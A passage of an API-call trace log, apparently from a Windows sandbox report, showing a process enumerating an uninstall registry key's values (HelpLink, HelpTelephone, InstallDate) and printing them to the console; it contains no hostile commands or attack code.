0x1b5 [0147.044] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.045] GetConsoleOutputCP () returned 0x1b5 [0147.045] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.045] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.045] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.045] __iob_func () returned 0x7fefd702a80 [0147.045] _fileno (_File=0x7fefd702ab0) returned 1 [0147.045] _errno () returned 0xc4bb0 [0147.045] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.045] _errno () returned 0xc4bb0 [0147.045] GetFileType (hFile=0x50) returned 0x1 [0147.045] lstrlenW (lpString="10.0.40219") returned 10 [0147.045] GetConsoleOutputCP () returned 0x1b5 [0147.045] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="10.0.40219", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0147.045] GetConsoleOutputCP () returned 0x1b5 [0147.045] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="10.0.40219", cchWideChar=10, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="10.0.40219", lpUsedDefaultChar=0x0) returned 10 [0147.045] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 10 [0147.045] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.045] __iob_func () returned 0x7fefd702a80 [0147.045] _fileno (_File=0x7fefd702ab0) returned 1 [0147.045] _errno () returned 0xc4bb0 [0147.045] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.045] _errno () returned 0xc4bb0 [0147.045] GetFileType (hFile=0x50) returned 0x1 [0147.046] lstrlenW (lpString="\n") returned 1 [0147.046] GetConsoleOutputCP () returned 0x1b5 [0147.046] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.046] GetConsoleOutputCP () returned 0x1b5 [0147.046] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.046] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.046] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.046] GetProcessHeap () returned 0x2e0000 [0147.046] GetProcessHeap () returned 0x2e0000 [0147.046] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bf0) returned 1 [0147.046] GetProcessHeap () returned 0x2e0000 [0147.046] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5bf0) returned 0x1a [0147.046] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bf0 | out: hHeap=0x2e0000) returned 1 [0147.046] RegEnumValueW (in: hKey=0x5c, dwIndex=0x4, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="HelpLink", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.046] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpLink", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x5c) returned 0x0 [0147.046] GetProcessHeap () returned 0x2e0000 [0147.046] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x5e) returned 0x2fb7d0 [0147.046] GetProcessHeap () returned 0x2e0000 [0147.046] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb7d0) returned 1 [0147.046] GetProcessHeap () returned 0x2e0000 [0147.046] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fb7d0) returned 0x5e [0147.046] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpLink", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fb7d0, pcbData=0x23f670*=0x5c | out: pdwType=0x23f5f0*=0x2, pvData="http://go.microsoft.com/fwlink/?LinkId=146008", pcbData=0x23f670*=0x5c) returned 0x0 [0147.047] __iob_func () returned 0x7fefd702a80 [0147.047] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.047] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.047] _fileno (_File=0x7fefd702ab0) returned 1 [0147.047] _errno () returned 0xc4bb0 [0147.047] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.047] _errno () returned 0xc4bb0 [0147.047] GetFileType (hFile=0x50) returned 0x1 [0147.047] lstrlenW (lpString=" ") returned 4 [0147.047] GetConsoleOutputCP () returned 0x1b5 [0147.047] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.047] GetConsoleOutputCP () returned 0x1b5 [0147.047] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.047] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.047] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.047] lstrlenW (lpString="HelpLink") returned 8 [0147.047] __iob_func () returned 0x7fefd702a80 [0147.047] _fileno (_File=0x7fefd702ab0) returned 1 [0147.047] _errno () returned 0xc4bb0 [0147.047] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.047] _errno () returned 0xc4bb0 [0147.047] GetFileType (hFile=0x50) returned 0x1 [0147.048] lstrlenW (lpString="HelpLink") returned 8 [0147.048] GetConsoleOutputCP () returned 0x1b5 [0147.048] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpLink", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0147.048] GetConsoleOutputCP () returned 0x1b5 [0147.048] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpLink", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HelpLink", lpUsedDefaultChar=0x0) returned 8 [0147.048] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0147.048] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.048] __iob_func () returned 0x7fefd702a80 [0147.048] _fileno (_File=0x7fefd702ab0) returned 1 [0147.048] _errno () returned 0xc4bb0 [0147.048] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.048] _errno () returned 0xc4bb0 [0147.048] GetFileType (hFile=0x50) returned 0x1 [0147.048] lstrlenW (lpString=" ") returned 4 [0147.048] GetConsoleOutputCP () returned 0x1b5 [0147.048] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.048] GetConsoleOutputCP () returned 0x1b5 [0147.048] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.048] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.048] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.049] __iob_func () returned 0x7fefd702a80 [0147.049] _fileno (_File=0x7fefd702ab0) returned 1 [0147.049] _errno () returned 0xc4bb0 [0147.049] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.049] _errno () returned 0xc4bb0 [0147.049] GetFileType (hFile=0x50) returned 0x1 [0147.049] lstrlenW (lpString="REG_EXPAND_SZ") returned 13 [0147.049] GetConsoleOutputCP () returned 0x1b5 [0147.049] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0147.049] GetConsoleOutputCP () returned 0x1b5 [0147.049] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_EXPAND_SZ", lpUsedDefaultChar=0x0) returned 13 [0147.049] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0147.049] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.049] __iob_func () returned 0x7fefd702a80 [0147.049] _fileno (_File=0x7fefd702ab0) returned 1 [0147.049] _errno () returned 0xc4bb0 [0147.049] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.049] _errno () returned 0xc4bb0 [0147.049] GetFileType (hFile=0x50) returned 0x1 [0147.049] lstrlenW (lpString=" ") returned 4 [0147.049] GetConsoleOutputCP () returned 0x1b5 [0147.050] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.050] GetConsoleOutputCP () returned 0x1b5 [0147.050] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.050] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.050] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.050] __iob_func () returned 0x7fefd702a80 [0147.050] _fileno (_File=0x7fefd702ab0) returned 1 [0147.050] _errno () returned 0xc4bb0 [0147.050] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.050] _errno () returned 0xc4bb0 [0147.050] GetFileType (hFile=0x50) returned 0x1 [0147.050] lstrlenW (lpString="http://go.microsoft.com/fwlink/?LinkId=146008") returned 45 [0147.050] GetConsoleOutputCP () returned 0x1b5 [0147.050] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="http://go.microsoft.com/fwlink/?LinkId=146008", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0147.050] GetConsoleOutputCP () returned 0x1b5 [0147.050] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="http://go.microsoft.com/fwlink/?LinkId=146008", cchWideChar=45, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://go.microsoft.com/fwlink/?LinkId=146008", lpUsedDefaultChar=0x0) returned 45 [0147.050] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 45 [0147.050] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.050] __iob_func () returned 0x7fefd702a80 [0147.050] _fileno (_File=0x7fefd702ab0) returned 1 [0147.050] _errno () returned 0xc4bb0 [0147.050] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.051] _errno () returned 0xc4bb0 [0147.051] GetFileType (hFile=0x50) returned 0x1 [0147.051] lstrlenW (lpString="\n") returned 1 [0147.051] GetConsoleOutputCP () returned 0x1b5 [0147.051] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.051] GetConsoleOutputCP () returned 0x1b5 [0147.051] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.051] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.051] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.051] GetProcessHeap () returned 0x2e0000 [0147.051] GetProcessHeap () returned 0x2e0000 [0147.051] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb7d0) returned 1 [0147.051] GetProcessHeap () returned 0x2e0000 [0147.051] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fb7d0) returned 0x5e [0147.051] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb7d0 | out: hHeap=0x2e0000) returned 1 [0147.051] RegEnumValueW (in: hKey=0x5c, dwIndex=0x5, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="HelpTelephone", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.051] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpTelephone", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.051] GetProcessHeap () returned 0x2e0000 [0147.051] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.051] GetProcessHeap () returned 0x2e0000 [0147.051] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.051] GetProcessHeap () returned 0x2e0000 [0147.051] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.051] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpTelephone", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0147.052] __iob_func () returned 0x7fefd702a80 [0147.052] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.052] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.052] _fileno (_File=0x7fefd702ab0) returned 1 [0147.052] _errno () returned 0xc4bb0 [0147.052] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.052] _errno () returned 0xc4bb0 [0147.052] GetFileType (hFile=0x50) returned 0x1 [0147.052] lstrlenW (lpString=" ") returned 4 [0147.052] GetConsoleOutputCP () returned 0x1b5 [0147.052] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.052] GetConsoleOutputCP () returned 0x1b5 [0147.052] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.052] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.052] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.052] lstrlenW (lpString="HelpTelephone") returned 13 [0147.052] __iob_func () returned 0x7fefd702a80 [0147.052] _fileno (_File=0x7fefd702ab0) returned 1 [0147.052] _errno () returned 0xc4bb0 [0147.052] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.052] _errno () returned 0xc4bb0 [0147.052] GetFileType (hFile=0x50) returned 0x1 [0147.052] lstrlenW (lpString="HelpTelephone") returned 13 [0147.052] GetConsoleOutputCP () returned 0x1b5 [0147.053] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpTelephone", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0147.053] GetConsoleOutputCP () returned 0x1b5 [0147.053] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpTelephone", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HelpTelephone", lpUsedDefaultChar=0x0) returned 13 [0147.053] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0147.053] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.053] __iob_func () returned 0x7fefd702a80 [0147.053] _fileno (_File=0x7fefd702ab0) returned 1 [0147.053] _errno () returned 0xc4bb0 [0147.053] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.053] _errno () returned 0xc4bb0 [0147.053] GetFileType (hFile=0x50) returned 0x1 [0147.053] lstrlenW (lpString=" ") returned 4 [0147.053] GetConsoleOutputCP () returned 0x1b5 [0147.053] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.053] GetConsoleOutputCP () returned 0x1b5 [0147.053] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.053] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.053] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.053] __iob_func () returned 0x7fefd702a80 [0147.054] _fileno (_File=0x7fefd702ab0) returned 1 [0147.054] _errno () returned 0xc4bb0 [0147.054] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.054] _errno () returned 0xc4bb0 [0147.054] GetFileType (hFile=0x50) returned 0x1 [0147.054] lstrlenW (lpString="REG_SZ") returned 6 [0147.054] GetConsoleOutputCP () returned 0x1b5 [0147.054] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.054] GetConsoleOutputCP () returned 0x1b5 [0147.054] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.054] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.054] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.054] __iob_func () returned 0x7fefd702a80 [0147.054] _fileno (_File=0x7fefd702ab0) returned 1 [0147.054] _errno () returned 0xc4bb0 [0147.054] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.054] _errno () returned 0xc4bb0 [0147.054] GetFileType (hFile=0x50) returned 0x1 [0147.054] lstrlenW (lpString=" ") returned 4 [0147.054] GetConsoleOutputCP () returned 0x1b5 [0147.054] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.054] GetConsoleOutputCP () returned 0x1b5 [0147.055] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.055] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.055] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.055] __iob_func () returned 0x7fefd702a80 [0147.055] _fileno (_File=0x7fefd702ab0) returned 1 [0147.055] _errno () returned 0xc4bb0 [0147.055] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.055] _errno () returned 0xc4bb0 [0147.055] GetFileType (hFile=0x50) returned 0x1 [0147.055] lstrlenW (lpString="") returned 0 [0147.055] __iob_func () returned 0x7fefd702a80 [0147.055] _fileno (_File=0x7fefd702ab0) returned 1 [0147.055] _errno () returned 0xc4bb0 [0147.055] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.055] _errno () returned 0xc4bb0 [0147.055] GetFileType (hFile=0x50) returned 0x1 [0147.055] lstrlenW (lpString="\n") returned 1 [0147.055] GetConsoleOutputCP () returned 0x1b5 [0147.055] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.055] GetConsoleOutputCP () returned 0x1b5 [0147.055] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.055] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.055] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.055] GetProcessHeap () returned 0x2e0000 [0147.056] GetProcessHeap () returned 0x2e0000 [0147.056] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.056] GetProcessHeap () returned 0x2e0000 [0147.056] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.056] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.056] RegEnumValueW (in: hKey=0x5c, dwIndex=0x6, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallDate", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.056] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallDate", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x14) returned 0x0 [0147.056] GetProcessHeap () returned 0x2e0000 [0147.056] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x16) returned 0x2fd1a0 [0147.056] GetProcessHeap () returned 0x2e0000 [0147.056] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd1a0) returned 1 [0147.056] GetProcessHeap () returned 0x2e0000 [0147.056] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd1a0) returned 0x16 [0147.056] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallDate", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fd1a0, pcbData=0x23f670*=0x14 | out: pdwType=0x23f5f0*=0x1, pvData="20170630", pcbData=0x23f670*=0x12) returned 0x0 [0147.056] __iob_func () returned 0x7fefd702a80 [0147.056] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.056] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.056] _fileno (_File=0x7fefd702ab0) returned 1 [0147.056] _errno () returned 0xc4bb0 [0147.056] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.056] _errno () returned 0xc4bb0 [0147.056] GetFileType (hFile=0x50) returned 0x1 [0147.056] lstrlenW (lpString=" ") returned 4 [0147.056] GetConsoleOutputCP () returned 0x1b5 [0147.056] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.056] GetConsoleOutputCP () returned 0x1b5 [0147.056] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.057] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.057] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.057] lstrlenW (lpString="InstallDate") returned 11 [0147.057] __iob_func () returned 0x7fefd702a80 [0147.057] _fileno (_File=0x7fefd702ab0) returned 1 [0147.057] _errno () returned 0xc4bb0 [0147.057] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.057] _errno () returned 0xc4bb0 [0147.057] GetFileType (hFile=0x50) returned 0x1 [0147.057] lstrlenW (lpString="InstallDate") returned 11 [0147.057] GetConsoleOutputCP () returned 0x1b5 [0147.057] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallDate", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0147.057] GetConsoleOutputCP () returned 0x1b5 [0147.057] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallDate", 